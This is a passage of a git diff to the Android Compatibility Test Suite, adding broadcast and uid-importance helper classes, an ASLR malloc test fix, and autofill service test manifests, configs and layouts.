+        mData = Parcel.obtain();
+        mConnections = new ServiceConnectionHandler[serviceIntents.length];
+        for (int i=0; i<serviceIntents.length; i++) {
+            mConnections[i] = new ServiceConnectionHandler(mContext, serviceIntents[i]);
+        }
+
+        ApplicationInfo appInfo = mContext.getPackageManager().getApplicationInfo(
+                mServicePackage, 0);
+
+        mUidForegroundListener = new UidImportanceListener(appInfo.uid);
+        mAm.addOnUidImportanceListener(mUidForegroundListener,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_SERVICE);
+        mUidGoneListener = new UidImportanceListener(appInfo.uid);
+        mAm.addOnUidImportanceListener(mUidGoneListener,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_EMPTY);
+    }
+
+    public void cleanup() {
+        mAm.removeOnUidImportanceListener(mUidGoneListener);
+        mAm.removeOnUidImportanceListener(mUidForegroundListener);
+        mData.recycle();
+    }
+
+    public ServiceConnectionHandler getConnection(int index) {
+        return mConnections[index];
+    }
+
+    public UidImportanceListener getUidForegroundListener() {
+        return mUidForegroundListener;
+    }
+
+    public UidImportanceListener getUidGoneListener() {
+        return mUidGoneListener;
+    }
+
+    public void ensureProcessGone(long timeout) {
+        for (int i=0; i<mConnections.length; i++) {
+            mConnections[i].bind(timeout);
+            IBinder serviceBinder = mConnections[i].getServiceIBinder();
+            try {
+                serviceBinder.transact(IBinder.FIRST_CALL_TRANSACTION, mData, null, 0);
+            } catch (RemoteException e) {
+            }
+            mConnections[i].unbind(timeout);
+        }
+
+        // Wait for uid's process to go away.
+        mUidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+                ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, timeout);
+        int importance = mAm.getPackageImportance(mServicePackage);
+        if (importance != ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE) {
+            throw new IllegalStateException("Unexpected importance after killing process: "
+                    + importance);
+        }
+    }
+}
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/SyncOrderedBroadcast.java b/tests/app/src/android/app/cts/android/app/cts/tools/SyncOrderedBroadcast.java
new file mode 100644
index 0000000..f91d4cc
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/SyncOrderedBroadcast.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.SystemClock;
+
+/**
+ * Helper for sending a broadcast and waiting for a result from it.
+ */
+public final class SyncOrderedBroadcast {
+    boolean mHasResult;
+    int mReceivedCode;
+    String mReceivedData;
+    Bundle mReceivedExtras;
+
+    final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override public void onReceive(Context context, Intent intent) {
+            synchronized (SyncOrderedBroadcast.this) {
+                mReceivedCode = getResultCode();
+                mReceivedData = getResultData();
+                mReceivedExtras = getResultExtras(false);
+                mHasResult = true;
+                SyncOrderedBroadcast.this.notifyAll();
+            }
+        }
+    };
+
+    public int sendAndWait(Context context, Intent broadcast, int initialCode,
+            String initialData, Bundle initialExtras, long timeout) {
+        mHasResult = false;
+        context.sendOrderedBroadcast(broadcast, null, mReceiver,
+                new Handler(context.getMainLooper()), initialCode, initialData, initialExtras);
+
+        final long endTime = SystemClock.uptimeMillis() + timeout;
+
+        synchronized (this) {
+            while (!mHasResult) {
+                final long now = SystemClock.uptimeMillis();
+                if (now >= endTime) {
+                    throw new IllegalStateException("Timed out waiting for broadcast " + broadcast);
+                }
+                try {
+                    wait(endTime - now);
+                } catch (InterruptedException e) {
+                }
+            }
+            return mReceivedCode;
+        }
+    }
+
+    public int getReceivedCode() {
+        return mReceivedCode;
+    }
+
+    public String getReceivedData() {
+        return mReceivedData;
+    }
+
+    public Bundle getReceivedExtras() {
+        return mReceivedExtras;
+    }
+}
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/UidImportanceListener.java b/tests/app/src/android/app/cts/android/app/cts/tools/UidImportanceListener.java
new file mode 100644
index 0000000..3eb402a
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/UidImportanceListener.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import android.app.ActivityManager;
+import android.os.SystemClock;
+import android.util.Log;
+
+/**
+ * Helper for monitoring the importance state of a uid.
+ */
+public final class UidImportanceListener implements ActivityManager.OnUidImportanceListener {
+    final int mUid;
+
+    int mLastValue = -1;
+
+    public UidImportanceListener(int uid) {
+        mUid = uid;
+    }
+
+    @Override
+    public void onUidImportance(int uid, int importance) {
+        synchronized (this) {
+            Log.d("XXXXX", "Got importance for uid " + uid + ": " + importance);
+            if (uid == mUid) {
+                mLastValue = importance;
+                notifyAll();
+            }
+        }
+    }
+
+    public int waitForValue(int minValue, int maxValue, long timeout) {
+        final long endTime = SystemClock.uptimeMillis()+timeout;
+
+        synchronized (this) {
+            while (mLastValue < minValue || mLastValue > maxValue) {
+                final long now = SystemClock.uptimeMillis();
+                if (now >= endTime) {
+                    throw new IllegalStateException("Timed out waiting for importance "
+                            + minValue + "-" + maxValue + ", last was " + mLastValue);
+                }
+                try {
+                    wait(endTime-now);
+                } catch (InterruptedException e) {
+                }
+            }
+            Log.d("XXXX", "waitForValue " + minValue + "-" + maxValue + ": " + mLastValue);
+            return mLastValue;
+        }
+    }
+}
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/WaitForBroadcast.java b/tests/app/src/android/app/cts/android/app/cts/tools/WaitForBroadcast.java
new file mode 100644
index 0000000..dc73163
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/WaitForBroadcast.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.SystemClock;
+
+/**
+ * Helper to wait for a broadcast to be sent.
+ */
+public class WaitForBroadcast {
+    final Context mContext;
+
+    String mWaitingAction;
+    boolean mHasResult;
+    Intent mReceivedIntent;
+
+    final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override public void onReceive(Context context, Intent intent) {
+            synchronized (WaitForBroadcast.this) {
+                mReceivedIntent = intent;
+                mHasResult = true;
+                WaitForBroadcast.this.notifyAll();
+            }
+        }
+    };
+
+    public WaitForBroadcast(Context context) {
+        mContext = context;
+    }
+
+    public void prepare(String action) {
+        if (mWaitingAction != null) {
+            throw new IllegalStateException("Already prepared");
+        }
+        mWaitingAction = action;
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(action);
+        mContext.registerReceiver(mReceiver, filter);
+    }
+
+    public Intent doWait(long timeout) {
+        final long endTime = SystemClock.uptimeMillis() + timeout;
+
+        synchronized (this) {
+            while (!mHasResult) {
+                final long now = SystemClock.uptimeMillis();
+                if (now >= endTime) {
+                    String action = mWaitingAction;
+                    cleanup();
+                    throw new IllegalStateException("Timed out waiting for broadcast " + action);
+                }
+                try {
+                    wait(endTime - now);
+                } catch (InterruptedException e) {
+                }
+            }
+            cleanup();
+            return mReceivedIntent;
+        }
+    }
+
+    void cleanup() {
+        if (mWaitingAction != null) {
+            mContext.unregisterReceiver(mReceiver);
+            mWaitingAction = null;
+        }
+    }
+}
diff --git a/tests/aslr/AndroidTest.xml b/tests/aslr/AndroidTest.xml
index d610519..8b9c893 100644
--- a/tests/aslr/AndroidTest.xml
+++ b/tests/aslr/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Aslr Malloc test cases">
+    <option name="config-descriptor:metadata" key="component" value="security" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsAslrMallocTestCases->/data/local/tmp/CtsAslrMallocTestCases" />
@@ -22,8 +23,8 @@
     <test class="com.android.tradefed.testtype.GTest" >
         <option name="native-test-device-path" value="/data/local/tmp" />
         <option name="module-name" value="CtsAslrMallocTestCases" />
-        <option name="runtime-hint" value="3m30s" />
+        <option name="runtime-hint" value="10m30s" />
         <!-- test-timeout unit is ms, value = 10 min -->
         <option name="native-test-timeout" value="600000" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/aslr/src/AslrMallocTest.cpp b/tests/aslr/src/AslrMallocTest.cpp
index 9259841..5fcf968 100644
--- a/tests/aslr/src/AslrMallocTest.cpp
+++ b/tests/aslr/src/AslrMallocTest.cpp
@@ -146,7 +146,9 @@
             return EXIT_FAILURE;
         }
 
-        printf("%p", malloc(size));
+        void* p = malloc(size);
+        printf("%p", p);
+        free(p);
         return EXIT_SUCCESS;
     }
 
diff --git a/tests/autofillservice/Android.mk b/tests/autofillservice/Android.mk
new file mode 100644
index 0000000..f4437f7
--- /dev/null
+++ b/tests/autofillservice/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    ctstestrunner \
+    truth-prebuilt \
+    ub-uiautomator \
+    testng
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsAutoFillServiceTestCases
+
+LOCAL_SDK_VERSION := test_current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
new file mode 100644
index 0000000..7bfb742
--- /dev/null
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.autofillservice.cts" >
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+
+    <application>
+        <activity android:name=".LoginActivity" >
+            <intent-filter>
+                <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+                     this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <activity android:name=".PreFilledLoginActivity" />
+        <activity android:name=".WelcomeActivity"/>
+        <activity android:name=".ViewAttributesTestActivity" />
+        <activity android:name=".AuthenticationActivity" />
+        <activity android:name=".ManualAuthenticationActivity" />
+        <activity android:name=".CheckoutActivity"/>
+        <activity android:name=".InitializedCheckoutActivity" />
+        <activity android:name=".DatePickerCalendarActivity" />
+        <activity android:name=".DatePickerSpinnerActivity" />
+        <activity android:name=".TimePickerClockActivity" />
+        <activity android:name=".TimePickerSpinnerActivity" />
+        <activity android:name=".FatActivity" />
+        <activity android:name=".VirtualContainerActivity">
+            <intent-filter>
+                <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+                     this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <activity android:name=".OptionalSaveActivity" />
+        <activity android:name=".AllAutofillableViewsActivity" />
+        <activity android:name=".GridActivity" >
+            <intent-filter>
+                <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+                     this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <activity android:name=".EmptyActivity"/>
+        <activity android:name=".DummyActivity"/>
+        <activity android:name=".OutOfProcessLoginActivity"
+            android:process="android.autofillservice.cts.outside"/>
+        <activity android:name=".FragmentContainerActivity" />
+
+        <service
+            android:name=".InstrumentedAutoFillService"
+            android:label="InstrumentedAutoFillService"
+            android:permission="android.permission.BIND_AUTOFILL_SERVICE" >
+            <intent-filter>
+                <action android:name="android.service.autofill.AutofillService" />
+            </intent-filter>
+        </service>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for the AutoFill Framework APIs."
+        android:targetPackage="android.autofillservice.cts" >
+    </instrumentation>
+
+</manifest>
diff --git a/tests/autofillservice/AndroidTest.xml b/tests/autofillservice/AndroidTest.xml
new file mode 100644
index 0000000..6be93de
--- /dev/null
+++ b/tests/autofillservice/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for AutoFill Framework CTS tests.">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+
+  <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+    <option name="cleanup-apks" value="true" />
+    <option name="test-file-name" value="CtsAutoFillServiceTestCases.apk" />
+  </target_preparer>
+
+  <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+    <option name="package" value="android.autofillservice.cts" />
+  </test>
+
+</configuration>
diff --git a/tests/autofillservice/res/drawable/android.png b/tests/autofillservice/res/drawable/android.png
new file mode 100644
index 0000000..8a9e698
--- /dev/null
+++ b/tests/autofillservice/res/drawable/android.png
Binary files differ
diff --git a/tests/autofillservice/res/layout/all_autofill_able_views_activity.xml b/tests/autofillservice/res/layout/all_autofill_able_views_activity.xml
new file mode 100644
index 0000000..6920f19
--- /dev/null
+++ b/tests/autofillservice/res/layout/all_autofill_able_views_activity.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <EditText android:id="@+id/editText" android:layout_width="wrap_content"
+        android:layout_height="wrap_content" android:visibility="gone"/>
+
+    <CheckBox android:id="@+id/compoundButton" android:layout_width="wrap_content"
+        android:layout_height="wrap_content" android:visibility="gone" />
+
+    <RadioGroup android:id="@+id/radioGroup" android:layout_width="wrap_content"
+        android:layout_height="wrap_content" android:visibility="gone">
+
+        <RadioButton android:id="@+id/radioButton1" android:layout_width="wrap_content"
+            android:layout_height="wrap_content" android:checked="true"/>
+
+        <RadioButton android:id="@+id/radioButton2" android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+
+    </RadioGroup>
+
+    <Spinner android:id="@+id/spinner" android:layout_width="wrap_content"
+        android:layout_height="wrap_content" android:entries="@array/cc_expiration_values"
+        android:visibility="gone" />
+
+    <DatePicker android:id="@+id/datePicker" android:layout_width="wrap_content"
+        android:layout_height="wrap_content" android:visibility="gone" />
+
+    <TimePicker android:id="@+id/timePicker" android:layout_width="wrap_content"
+        android:layout_height="wrap_content" android:visibility="gone" />
+
+</LinearLayout>
diff --git a/tests/autofillservice/res/layout/checkout_activity.xml b/tests/autofillservice/res/layout/checkout_activity.xml
new file mode 100644
index 0000000..4197e43
--- /dev/null
+++ b/tests/autofillservice/res/layout/checkout_activity.xml
@@ -0,0 +1,115 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:id="@+id/cc_number_label"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="CC Number" />
+
+        <EditText
+            android:id="@+id/cc_number"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:id="@+id/cc_expiration_label"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Expiration" />
+
+        <Spinner
+            android:id="@+id/cc_expiration"
+            android:layout_width="fill_parent"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:id="@+id/address_label"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Address" />
+
+        <RadioGroup
+            android:id="@+id/address"
+            android:layout_width="fill_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical" >
+
+            <RadioButton
+                android:id="@+id/home_address"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="Home" />
+
+            <RadioButton
+                android:id="@+id/work_address"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="Work" />
+        </RadioGroup>
+    </LinearLayout>
+
+    <CheckBox
+        android:id="@+id/save_cc"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="Save CC?" />
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <Button
+            android:id="@+id/clear"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Clear" />
+
+        <Button
+            android:id="@+id/buy"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Buy it" />
+    </LinearLayout>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/date_picker_calendar_activity.xml b/tests/autofillservice/res/layout/date_picker_calendar_activity.xml
new file mode 100644
index 0000000..d792af9
--- /dev/null
+++ b/tests/autofillservice/res/layout/date_picker_calendar_activity.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <EditText
+        android:id="@+id/output"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content" />
+
+    <DatePicker
+        android:id="@+id/date_picker"
+        android:datePickerMode="calendar"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
+    <Button
+        android:id="@+id/ok"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="OK" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/date_picker_spinner_activity.xml b/tests/autofillservice/res/layout/date_picker_spinner_activity.xml
new file mode 100644
index 0000000..8964496
--- /dev/null
+++ b/tests/autofillservice/res/layout/date_picker_spinner_activity.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <EditText
+        android:id="@+id/output"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content" />
+
+    <DatePicker
+        android:id="@+id/date_picker"
+        android:datePickerMode="spinner"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
+    <Button
+        android:id="@+id/ok"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="OK" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/empty.xml b/tests/autofillservice/res/layout/empty.xml
new file mode 100644
index 0000000..7687408
--- /dev/null
+++ b/tests/autofillservice/res/layout/empty.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2017 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent" />
diff --git a/tests/autofillservice/res/layout/fat_activity.xml b/tests/autofillservice/res/layout/fat_activity.xml
new file mode 100644
index 0000000..6d43320
--- /dev/null
+++ b/tests/autofillservice/res/layout/fat_activity.xml
@@ -0,0 +1,139 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Label with no ID" />
+    </LinearLayout>
+
+    <LinearLayout
+        android:id="@+id/input_container"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <EditText
+            android:id="@+id/input"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+
+    <EditText
+        android:id="@+id/captcha"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="no"
+        android:text="Y U NO CAPTCHA ME?" />
+
+    <ImageView
+        android:id="@+id/image"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:src="@drawable/android" />
+
+    <ImageView
+        android:id="@+id/important_image"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="yes"
+        android:src="@drawable/android" />
+
+    <LinearLayout
+         android:id="@+id/not_important_container_excluding_descendants"
+         android:layout_width="wrap_content"
+         android:layout_height="wrap_content"
+         android:importantForAutofill="noExcludeDescendants">
+
+        <FrameLayout
+            android:id="@+id/not_important_container_excluding_descendants_child"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:importantForAutofill="yes">
+
+            <View
+                android:id="@+id/not_important_container_excluding_descendants_grand_child"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:src="@drawable/android">
+            </View>
+
+        </FrameLayout>
+
+    </LinearLayout>
+
+    <LinearLayout
+        android:id="@+id/important_container_excluding_descendants"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="yesExcludeDescendants">
+
+        <FrameLayout
+            android:id="@+id/important_container_excluding_descendants_child"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:importantForAutofill="yes">
+
+            <View
+                android:id="@+id/important_container_excluding_descendants_grand_child"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:src="@drawable/android">
+            </View>
+
+        </FrameLayout>
+
+    </LinearLayout>
+
+    <LinearLayout
+        android:id="@+id/not_important_container_mixed_descendants"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="no">
+
+        <FrameLayout
+            android:id="@+id/not_important_container_mixed_descendants_child"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:importantForAutofill="yes">
+
+            <ImageView
+                android:id="@+id/not_important_container_mixed_descendants_grand_child"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:src="@drawable/android"
+                android:importantForAutofill="no">
+            </ImageView>
+
+        </FrameLayout>
+
+    </LinearLayout>
+
+</LinearLayout>
diff --git a/tests/autofillservice/res/layout/fragment_container.xml b/tests/autofillservice/res/layout/fragment_container.xml
new file mode 100644
index 0000000..156efad
--- /dev/null
+++ b/tests/autofillservice/res/layout/fragment_container.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2017 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
